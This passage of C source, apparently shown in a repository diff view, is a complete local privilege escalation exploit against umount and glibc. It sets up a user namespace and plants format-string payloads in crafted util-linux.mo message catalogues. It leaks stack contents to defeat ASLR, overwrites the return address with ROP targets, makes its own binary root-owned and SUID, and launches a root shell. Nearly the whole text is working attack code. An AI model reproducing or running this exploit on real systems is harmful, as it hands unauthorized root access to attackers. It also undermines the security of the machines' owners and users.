* then waits to be killed later on.
|
||||
*/
|
||||
static int usernsChildFunction() {
|
||||
while(geteuid()!=0) {
|
||||
sched_yield();
|
||||
}
|
||||
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
|
||||
assert(!result);
|
||||
assert(!chdir("/tmp"));
|
||||
int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
|
||||
assert(handle>=0);
|
||||
close(handle);
|
||||
sleep(100000);
|
||||
}
|
||||
|
||||
/** Prepare a process living in an own mount namespace and setup
|
||||
* the mount structure appropriately. The process is created
|
||||
* in a way allowing cleanup at program end by just killing it,
|
||||
* thus removing the namespace.
|
||||
* @return the pid of that process or -1 on error.
|
||||
*/
|
||||
pid_t prepareNamespacedProcess() {
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");
|
||||
|
||||
char *stackData=(char*)malloc(1<<20);
|
||||
assert(stackData);
|
||||
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
|
||||
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
|
||||
return(-1);
|
||||
}
|
||||
|
||||
char idMapFileName[128];
|
||||
char idMapData[128];
|
||||
sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
|
||||
int setGroupsFd=open(idMapFileName, O_WRONLY);
|
||||
assert(setGroupsFd>=0);
|
||||
int result=write(setGroupsFd, "deny", 4);
|
||||
assert(result>0);
|
||||
close(setGroupsFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
|
||||
int uidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(uidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getuid());
|
||||
result=write(uidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(uidMapFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
|
||||
int gidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(gidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getgid());
|
||||
result=write(gidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(gidMapFd);
|
||||
|
||||
// After setting the maps for the child process, the child may
|
||||
// start setting up the mount point. Wait for that to complete.
|
||||
sleep(1);
|
||||
fprintf(stderr, "Namespaced filesystem created with pid %d\n",
|
||||
namespacedProcessPid);
|
||||
}
|
||||
|
||||
osReleaseExploitData=osSpecificExploitDataList;
|
||||
if(osRelease) {
|
||||
// If an OS was detected, try to find it in list. Otherwise use
|
||||
// default.
|
||||
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
|
||||
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
|
||||
osReleaseExploitData=osSpecificExploitDataList+tPos;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
char pathBuffer[PATH_MAX];
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
|
||||
namespacedProcessPid);
|
||||
assert(result<PATH_MAX);
|
||||
char *namespaceMountBaseDir=strdup(pathBuffer);
|
||||
assert(namespaceMountBaseDir);
|
||||
|
||||
// Create directories needed for umount to proceed to final state
|
||||
// "not mounted".
|
||||
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
|
||||
// Create symlink to trigger underflows.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
result=symlink(osReleaseExploitData[1], pathBuffer);
|
||||
assert(!result||(errno==EEXIST));
|
||||
|
||||
// getdate will leave that string in rdi to become the filename
|
||||
// to execute for the next round.
|
||||
char *selfPathName=realpath("/proc/self/exe", NULL);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
|
||||
assert(handle>0);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
|
||||
selfPathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=write(handle, pathBuffer, result);
|
||||
close(handle);
|
||||
free(selfPathName);
|
||||
|
||||
// Write the initial message catalogue to trigger stack dumping
|
||||
// and to make the "umount" call privileged by toggling the "restricted"
|
||||
// flag in the context.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
|
||||
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
|
||||
assert(stackDumpStr);
|
||||
char *stackDumpStrEnd=stackDumpStr;
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
|
||||
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
|
||||
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
|
||||
memcpy(stackDumpStrEnd, "%016lx", 6);
|
||||
stackDumpStrEnd+=6;
|
||||
}
|
||||
// We wrote allready 8 bytes, write so many more to produce a
|
||||
// count of 'L' and write that to the stack. As all writes so
|
||||
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
|
||||
// to write at least 4 bytes, which is longer than any "%hhx"
|
||||
// format string output. Hence do not care about the byte content
|
||||
// here. The target write address has a 16 byte alignment due
|
||||
// to varg structure.
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
|
||||
('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
|
||||
STACK_LONG_DUMP_BYTES/16);
|
||||
*stackDumpStrEnd=0;
|
||||
result=writeMessageCatalogue(pathBuffer,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){"1234", stackDumpStr, "5678"},
|
||||
3);
|
||||
assert(!result);
|
||||
free(stackDumpStr);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
secondPhaseTriggerPipePathname=strdup(pathBuffer);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
secondPhaseCataloguePathname=strdup(pathBuffer);
|
||||
|
||||
free(namespaceMountBaseDir);
|
||||
return(namespacedProcessPid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/** Create the format string to write an arbitrary value to the
|
||||
* stack. The created format string avoids to interfere with
|
||||
* the complex fprintf format handling logic by accessing fprintf
|
||||
* internal state on stack. Thus the modification method does
|
||||
* not depend on that ftp internals. The current libc fprintf
|
||||
* implementation copies values for formatting before applying
|
||||
* the %n writes, therefore pointers changed by fprintf operation
|
||||
* can only be utilized with the next fprintf invocation. As
|
||||
* we cannot rely on a stack having a suitable number of pointers
|
||||
* ready for arbitrary writes, we need to create those pointers
|
||||
* one by one. Everything needed is pointer on stack pointing
|
||||
* to another valid pointer and 4 helper pointers pointing to
|
||||
* writeable memory. The **argv list matches all those requirements.
|
||||
* @param printfArgvValuePos the position of the argv pointer from
|
||||
* printf format string view.
|
||||
* @param argvStackAddress the address of the argv list, where
|
||||
* the argv[0] pointer can be read.
|
||||
* @param printfArg0ValuePos the position of argv list containing
|
||||
* argv[0..n] pointers.
|
||||
* @param mainFunctionReturnAddress the address on stack where
|
||||
* the return address from the main() function to _libc_start()
|
||||
* is stored.
|
||||
* @param writeValue the value to write to mainFunctionReturnAddress
|
||||
*/
|
||||
void createStackWriteFormatString(
|
||||
char *formatBuffer, int bufferSize, int printfArgvValuePos,
|
||||
void *argvStackAddress, int printfArg0ValuePos,
|
||||
void *mainFunctionReturnAddress, unsigned short *writeData,
|
||||
int writeDataLength) {
|
||||
int result=0;
|
||||
int currentValue=-1;
|
||||
for(int nextWriteValue=0; nextWriteValue<0x10000;) {
|
||||
// Find the lowest value to write.
|
||||
nextWriteValue=0x10000;
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
int value=writeData[valuePos];
|
||||
if((value>currentValue)&&(value<nextWriteValue))
|
||||
nextWriteValue=value;
|
||||
}
|
||||
if(currentValue<0)
|
||||
currentValue=0;
|
||||
if(currentValue!=nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
|
||||
nextWriteValue-currentValue);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
currentValue=nextWriteValue;
|
||||
}
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
if(writeData[valuePos]==nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%%d$hn", printfArg0ValuePos+valuePos+1);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Print the return function address location number of bytes
|
||||
// except 8 (those from the LABEL counter) and write the value
|
||||
// to arg1.
|
||||
int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$%d.%ds%%1$s%%1$s%%%d$hn",
|
||||
writeCount, writeCount, printfArg0ValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
|
||||
writeCount, writeCount, printfArgvValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Append a debugging preamble.
|
||||
result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
|
||||
printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
|
||||
printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
|
||||
printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
|
||||
|
||||
/** Wait for the trigger pipe to open. The pipe will be closed
|
||||
* immediately after opening it.
|
||||
* @return 0 when the pipe was opened before hitting a timeout.
|
||||
*/
|
||||
int waitForTriggerPipeOpen(char *pipeName) {
|
||||
struct timespec startTime, currentTime;
|
||||
int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
|
||||
startTime.tv_sec+=10;
|
||||
assert(!result);
|
||||
while(1) {
|
||||
int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
|
||||
if(pipeFd>=0) {
|
||||
close(pipeFd);
|
||||
break;
|
||||
}
|
||||
result=clock_gettime(CLOCK_MONOTONIC, ¤tTime);
|
||||
if(currentTime.tv_sec>startTime.tv_sec) {
|
||||
return(-1);
|
||||
}
|
||||
currentTime.tv_sec=0;
|
||||
currentTime.tv_nsec=100000000;
|
||||
nanosleep(¤tTime, NULL);
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
|
||||
/** Invoke umount to gain root privileges.
|
||||
* @return 0 if the umount process terminated with expected exit
|
||||
* status.
|
||||
*/
|
||||
int attemptEscalation() {
|
||||
int escalationSuccess=-1;
|
||||
|
||||
char targetCwd[64];
|
||||
snprintf(
|
||||
targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);
|
||||
|
||||
int pipeFds[2];
|
||||
int result=pipe(pipeFds);
|
||||
assert(!result);
|
||||
|
||||
pid_t childPid=fork();
|
||||
assert(childPid>=0);
|
||||
if(!childPid) {
|
||||
// This is the child process.
|
||||
close(pipeFds[0]);
|
||||
fprintf(stderr, "Starting subprocess\n");
|
||||
dup2(pipeFds[1], 1);
|
||||
dup2(pipeFds[1], 2);
|
||||
close(pipeFds[1]);
|
||||
result=chdir(targetCwd);
|
||||
assert(!result);
|
||||
|
||||
// Create so many environment variables for a kind of "stack spraying".
|
||||
int envCount=UMOUNT_ENV_VAR_COUNT;
|
||||
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
|
||||
assert(umountEnv);
|
||||
umountEnv[envCount--]=NULL;
|
||||
umountEnv[envCount--]="LC_ALL=C.UTF-8";
|
||||
while(envCount>=0) {
|
||||
umountEnv[envCount--]="AANGUAGE=X.X";
|
||||
}
|
||||
// Use the built-in C locale.
|
||||
// Invoke umount first by overwriting heap downwards using links
|
||||
// for "down", then retriggering another error message ("busy")
|
||||
// with hopefully similar same stack layout for other path "/".
|
||||
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
|
||||
result=execve(umountArgs[0], umountArgs, umountEnv);
|
||||
assert(!result);
|
||||
}
|
||||
close(pipeFds[1]);
|
||||
int childStdout=pipeFds[0];
|
||||
|
||||
int escalationPhase=0;
|
||||
char readBuffer[1024];
|
||||
int readDataLength=0;
|
||||
char stackData[STACK_LONG_DUMP_BYTES];
|
||||
int stackDataBytes=0;
|
||||
|
||||
struct pollfd pollFdList[1];
|
||||
pollFdList[0].fd=childStdout;
|
||||
pollFdList[0].events=POLLIN;
|
||||
|
||||
// Now learn about the binary, prepare data for second exploitation
|
||||
// phase. The phases should be:
|
||||
// * 0: umount executes, glibc underflows and causes an util-linux.mo
|
||||
// file to be read, that contains a poisonous format string.
|
||||
// Successful poisoning results in writing of 8*'A' preamble,
|
||||
// we are looking for to indicate end of this phase.
|
||||
// * 1: The poisoned process writes out stack content to defeat
|
||||
// ASLR. Reading all relevant stack end this phase.
|
||||
// * 2: The poisoned process changes the "LANGUAGE" parameter,
|
||||
// thus triggering re-read of util-linux.mo. To avoid races,
|
||||
// we let umount open a named pipe, thus blocking execution.
|
||||
// As soon as the pipe is ready for writing, we write a modified
|
||||
// version of util-linux.mo to another file because the pipe
|
||||
// cannot be used for sending the content.
|
||||
// * 3: We read umount output to avoid blocking the process and
|
||||
// wait for it to ROP execute fchown/fchmod and exit.
|
||||
while(1) {
|
||||
if(escalationPhase==2) {
|
||||
// We cannot use the standard poll from below to monitor the pipe,
|
||||
// but also we do not want to block forever. Wait for the pipe
|
||||
// in nonblocking mode and then continue with next phase.
|
||||
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
|
||||
if(result) {
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
escalationPhase++;
|
||||
}
|
||||
|
||||
// Wait at most 10 seconds for IO.
|
||||
result=poll(pollFdList, 1, 10000);
|
||||
if(!result) {
|
||||
// We ran into a timeout. This might be the result of a deadlocked
|
||||
// child, so kill the child and retry.
|
||||
fprintf(stderr, "Poll timed out\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
// Perform the IO operations without blocking.
|
||||
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
|
||||
result=read(
|
||||
pollFdList[0].fd, readBuffer+readDataLength,
|
||||
sizeof(readBuffer)-readDataLength);
|
||||
if(!result) {
|
||||
if(escalationPhase<3) {
|
||||
// Child has closed the socket unexpectedly.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if(result<0) {
|
||||
fprintf(stderr, "IO error talking to child\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
readDataLength+=result;
|
||||
|
||||
// Handle the data depending on escalation phase.
|
||||
int moveLength=0;
|
||||
switch(escalationPhase) {
|
||||
case 0: // Initial sync: read A*8 preamble.
|
||||
if(readDataLength<8)
|
||||
continue;
|
||||
char *preambleStart=memmem(readBuffer, readDataLength,
|
||||
"AAAAAAAA", 8);
|
||||
if(!preambleStart) {
|
||||
// No preamble, move content only if buffer is full.
|
||||
if(readDataLength==sizeof(readBuffer))
|
||||
moveLength=readDataLength-7;
|
||||
break;
|
||||
}
|
||||
// We found, what we are looking for. Start reading the stack.
|
||||
escalationPhase++;
|
||||
moveLength=preambleStart-readBuffer+8;
|
||||
case 1: // Read the stack.
|
||||
// Consume stack data until or local array is full.
|
||||
while(moveLength+16<=readDataLength) {
|
||||
result=sscanf(readBuffer+moveLength, "%016lx",
|
||||
(int*)(stackData+stackDataBytes));
|
||||
if(result!=1) {
|
||||
// Scanning failed, the data injection procedure apparently did
|
||||
// not work, so this escalation failed.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
moveLength+=sizeof(long)*2;
|
||||
stackDataBytes+=sizeof(long);
|
||||
// See if we reached end of stack dump already.
|
||||
if(stackDataBytes==sizeof(stackData))
|
||||
break;
|
||||
}
|
||||
if(stackDataBytes!=sizeof(stackData))
|
||||
break;
|
||||
|
||||
// All data read, use it to prepare the content for the next phase.
|
||||
fprintf(stderr, "Stack content received, calculating next phase\n");
|
||||
|
||||
int *exploitOffsets=(int*)osReleaseExploitData[3];
|
||||
|
||||
// This is the address, where source Pointer is pointing to.
|
||||
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
|
||||
// This is the stack address source for the target pointer.
|
||||
void *sourcePointerLocation=sourcePointerTarget-0xd0;
|
||||
|
||||
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
|
||||
// This is the stack address of the libc start function return
|
||||
// pointer.
|
||||
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
|
||||
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
|
||||
sourcePointerLocation, sourcePointerTarget,
|
||||
targetPointerTarget, libcStartFunctionReturnAddressSource);
|
||||
// So the libcStartFunctionReturnAddressSource is the lowest address
|
||||
// to manipulate, targetPointerTarget+...
|
||||
|
||||
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
|
||||
void *stackWriteData[]={
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
|
||||
};
|
||||
fprintf(stderr, "Changing return address from %p to %p, %p\n",
|
||||
libcStartFunctionAddress, stackWriteData[0],
|
||||
stackWriteData[1]);
|
||||
escalationPhase++;
|
||||
|
||||
char *escalationString=(char*)malloc(1024);
|
||||
createStackWriteFormatString(
|
||||
escalationString, 1024,
|
||||
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
|
||||
sourcePointerTarget, // Base value to write
|
||||
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
|
||||
libcStartFunctionReturnAddressSource,
|
||||
(unsigned short*)stackWriteData,
|
||||
sizeof(stackWriteData)/sizeof(unsigned short)
|
||||
);
|
||||
fprintf(stderr, "Using escalation string %s", escalationString);
|
||||
|
||||
result=writeMessageCatalogue(
|
||||
secondPhaseCataloguePathname,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){
|
||||
escalationString,
|
||||
"BBBB5678%3$s\n",
|
||||
"BBBBABCD%s\n"},
|
||||
3);
|
||||
assert(!result);
|
||||
break;
|
||||
case 2:
|
||||
case 3:
|
||||
// Wait for pipe connection and output any result from mount.
|
||||
readDataLength=0;
|
||||
break;
|
||||
default:
|
||||
fprintf(stderr, "Logic error, state %d\n", escalationPhase);
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
if(moveLength) {
|
||||
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
|
||||
readDataLength-=moveLength;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attemptEscalationCleanup:
|
||||
// Wait some time to avoid killing umount even when exploit was
|
||||
// successful.
|
||||
sleep(1);
|
||||
close(childStdout);
|
||||
// It is safe to kill the child as we did not wait for it to finish
|
||||
// yet, so at least the zombie process is still here.
|
||||
kill(childPid, SIGKILL);
|
||||
pid_t waitedPid=waitpid(childPid, NULL, 0);
|
||||
assert(waitedPid==childPid);
|
||||
|
||||
return(escalationSuccess);
|
||||
}
|
||||
|
||||
|
||||
/** This function invokes the shell specified via environment
|
||||
* or the default shell "/bin/sh" when undefined. The function
|
||||
* does not return on success.
|
||||
* @return -1 on error
|
||||
*/
|
||||
int invokeShell(char *shellName) {
|
||||
if(!shellName)
|
||||
shellName=getenv("SHELL");
|
||||
if(!shellName)
|
||||
shellName="/bin/sh";
|
||||
char* shellArgs[]={shellName, NULL};
|
||||
execve(shellName, shellArgs, environ);
|
||||
fprintf(stderr, "Failed to launch shell %s\n", shellName);
|
||||
return(-1);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char *programmName=argv[0];
|
||||
int exitStatus=1;
|
||||
|
||||
if(getuid()==0) {
|
||||
fprintf(stderr, "%s: you are already root, invoking shell ...\n",
|
||||
programmName);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
if(geteuid()==0) {
|
||||
struct stat statBuf;
|
||||
int result=stat("/proc/self/exe", &statBuf);
|
||||
assert(!result);
|
||||
if(statBuf.st_uid||statBuf.st_gid) {
|
||||
fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
|
||||
programmName);
|
||||
int handle=open("/proc/self/exe", O_RDONLY);
|
||||
fchown(handle, 0, 0);
|
||||
fchmod(handle, 04755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
|
||||
programmName);
|
||||
setresgid(0, 0, 0);
|
||||
setresuid(0, 0, 0);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
for(int argPos=1; argPos<argc;) {
|
||||
char *argName=argv[argPos++];
|
||||
if(argPos==argc) {
|
||||
fprintf(stderr, "%s requires parameter\n", argName);
|
||||
return(1);
|
||||
}
|
||||
if(!strcmp("--Pid", argName)) {
|
||||
char *endPtr;
|
||||
namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
|
||||
if((errno)||(*endPtr)) {
|
||||
fprintf(stderr, "Invalid pid value\n");
|
||||
return(1);
|
||||
}
|
||||
killNamespacedProcessFlag=0;
|
||||
} else {
|
||||
fprintf(stderr, "Unknown argument %s\n", argName);
|
||||
return(1);
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: setting up environment ...\n", programmName);
|
||||
|
||||
if(!osRelease) {
|
||||
if(detectOsRelease()) {
|
||||
fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
|
||||
}
|
||||
}
|
||||
|
||||
umountPathname=findUmountBinaryPathname("/bin");
|
||||
if((!umountPathname)&&(getenv("PATH")))
|
||||
umountPathname=findUmountBinaryPathname(getenv("PATH"));
|
||||
if(!umountPathname) {
|
||||
fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
|
||||
umountPathname);
|
||||
|
||||
pid_t nsPid=prepareNamespacedProcess();
|
||||
if(nsPid<0) {
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
|
||||
// Gaining root can still fail due to ASLR creating additional
|
||||
// path separators in memory addresses residing in area to be
|
||||
// overwritten by buffer underflow. Retry regaining until this
|
||||
// executable changes uid/gid.
|
||||
int escalateMaxAttempts=10;
|
||||
int excalateCurrentAttempt=0;
|
||||
while(excalateCurrentAttempt<escalateMaxAttempts) {
|
||||
excalateCurrentAttempt++;
|
||||
fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
|
||||
excalateCurrentAttempt, escalateMaxAttempts);
|
||||
|
||||
attemptEscalation();
|
||||
|
||||
struct stat statBuf;
|
||||
int statResult=stat("/proc/self/exe", &statBuf);
|
||||
int stat(const char *pathname, struct stat *buf);
|
||||
if(statResult) {
|
||||
fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
|
||||
break;
|
||||
}
|
||||
if(statBuf.st_uid==0) {
|
||||
fprintf(stderr, "Executable now root-owned\n");
|
||||
goto escalateOk;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");
|
||||
|
||||
preReturnCleanup:
|
||||
if(namespacedProcessPid>0) {
|
||||
if(killNamespacedProcessFlag) {
|
||||
kill(namespacedProcessPid, SIGKILL);
|
||||
} else {
|
||||
// We used an existing namespace or chroot to escalate. Remove
|
||||
// the files created there.
|
||||
fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
|
||||
}
|
||||
}
|
||||
|
||||
if(!exitStatus) {
|
||||
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
|
||||
invokeShell("/proc/self/exe");
|
||||
exitStatus=1;
|
||||
}
|
||||
return(exitStatus);
|
||||
|
||||
escalateOk:
|
||||
exitStatus=0;
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user